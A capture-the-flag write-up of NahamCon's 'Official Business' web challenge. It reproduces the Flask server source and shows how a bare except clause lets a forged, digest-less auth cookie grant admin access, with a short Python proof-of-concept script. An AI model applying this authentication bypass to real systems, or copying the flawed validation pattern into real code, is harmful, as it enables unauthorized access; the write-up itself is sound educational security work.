Thumbnail: nahamcon

NahamCon - Official Business

by on under writeups
9 minute read

An in-depth look at Official Business from NahamCon. Special thanks to all the people behind NahamCon!


Description

Web, 125 points

Are you here on official business? Prove it. Connect here: http://jh2i.com:50006

Solution

Let’s open the linked website. Auth page

Let’s try to login using random credentials. It looks like a classic authentification page. Forbidden

Unfortunately, as you can see, only the admin account seems to be accepted. Any other account will return a 403 forbidden error. Let’s do some normal recon to see what we are against. The robots.txt file is set, a common thing in web CTFs. In it, we can find what seems to be the source code of the web app’s server. It is Python, so it is a Flask application. Let’s take a closer look at it:

#!/usr/bin/env python3

from flask import (
    Flask,
    render_template,
    request,
    abort,
    redirect,
    make_response,
    g,
    jsonify,
)
import binascii
import hashlib
import json

app = Flask(__name__)
app.secret_key = open("secret_key", "r").read().strip()
FLAG = open("flag.txt", "r").read().strip()


def do_login(user, password, admin):

    cookie = {"user": user, "password": password, "admin": admin}
    cookie["digest"] = hashlib.sha512(
        app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
    ).hexdigest()

    response = make_response(redirect("/"))
    response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))

    return response


@app.route("/login", methods=["POST"])
def login():

    user = request.form.get("user", "")
    password = request.form.get("password", "")

    if (
        user != "hacker"
        or hashlib.sha512(bytes(password, "ascii")).digest()
        != b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
    ):
        return abort(403)
    return do_login(user, password, True)


def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie


@app.route("/logout", methods=["GET"])
def logout():

    response = make_response(redirect("/"))
    response.set_cookie("auth", "", expires=0)
    return response


@app.route("/")
def index():

    ok, cookie = load_cookie()
    if not ok:
        return abort(403)

    return render_template(
        "index.html",
        user=cookie.get("user", None),
        admin=cookie.get("admin", None),
        flag=FLAG,
    )


@app.route("/robots.txt")
def source():
    return "
" + open(__file__).read() + "
"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=1337)

By the look of things, there are two possible ways to get admin:

  1. Bruteforce the SHA512 hash to get the admin password
  2. Forge a valid admin auth cookie

As you probably know, an input and its hash digest don’t seem related to human eyes. Therefore, a hash digest only seems like a bunch of random hexadecimal values. With that said, it would be a huge coincidence if the hexadecimal representation of hackshackshackshackshackshackshackshackshackshackshackshackshack was the hash digest of a plaintext password. I think it was a rabbit hole. To be certain, I tried brute-forcing it using hashcat, but nothing. Let’s then try the second method: cookie forgery.

First, we need to check how the authentification cookie is generated by the server. Let’s take a look at the do_login function:

def do_login(user, password, admin):

    cookie = {"user": user, "password": password, "admin": admin}
    cookie["digest"] = hashlib.sha512(
        app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
    ).hexdigest()

    response = make_response(redirect("/"))
    response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))

    return response

This function takes three arguments: user, which is the username, the user’s password and a boolean value that tells the program if this user is an admin or not. First, this function creates the cookie variable, a dictionary containing all three parameters. Then to this is appended the digest key with a hash value determined by the app secret key and the cookie variable. This is probably to ensure that the cookie is valid or not. It could make the task a lot more difficult, because we don’t know the secret key…

Then, that cookie variable is turned to a JSON string and is turned to hexadecimal, creating the auth cookie which is passed in the request.

Now, we need to find where the cookie is detected as valid or not, to trick the server. In the index function, we can find that bit of code:

    ok, cookie = load_cookie()
    if not ok:
        return abort(403)

This is exactly the part of the code that was responding with 403 errors earlier. The ok variable seems to be the one who decide if we can access the page or not, so let’s take a look at where it is defined.

def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie

The answer can be found in the load_cookie function. First, this function checks if the auth cookie is set. If it’s not set, the function returns that the request was ok but the cookie is empty, bringing us to the connection page. If it is set, the code continues in a try/except. The try statements seem to check if the digest value is valid using the app.secret_key. To do so, the server first unloads the cookie from the auth cookie. Then, it tries to take out the digest value and compares it with the same hashing process as to where it came from, to see if the cookie has been modified. How could we bypass this security?

In reality, we only need the first line from the try statement (to get a cookie that is not empty). If we could create an exception after it, the program would exit the try and go into that insecure except statement. It is insecure because, if an error is caused in the try statement, the program will exit the try/except and return that the cookie is valid. That’s what we need to exploit. The easiest way to do that is to don’t set the digest key-value pair in our auth cookie, thus when the server will try and load it, it will create an exception and validate our cookie, giving us the admin access.

Python Solution

I decided to code the final program using the Python requests module. The final code looks like that:

import requests
import binascii
import json

url = "http://jh2i.com:50006"

cookie = {"user": "noxtal", "password": "anypass", "admin": "True"}
auth = binascii.hexlify(json.dumps(cookie).encode("utf8")).decode("utf8")
cookies = {"auth": auth}

x = requests.get(url, cookies=cookies)
print(x.text)

This script will forge a valid admin cookie by creating an auth token that contains the admin key but no digest key-value pair. Then, this program sends a request using the auth cookie and sends the response, containing the flag!

That’s all we got to do to solve this challenge. Obviously, I can’t say it enough, special thanks to everybody behind NahamCon!

comments powered by Disqus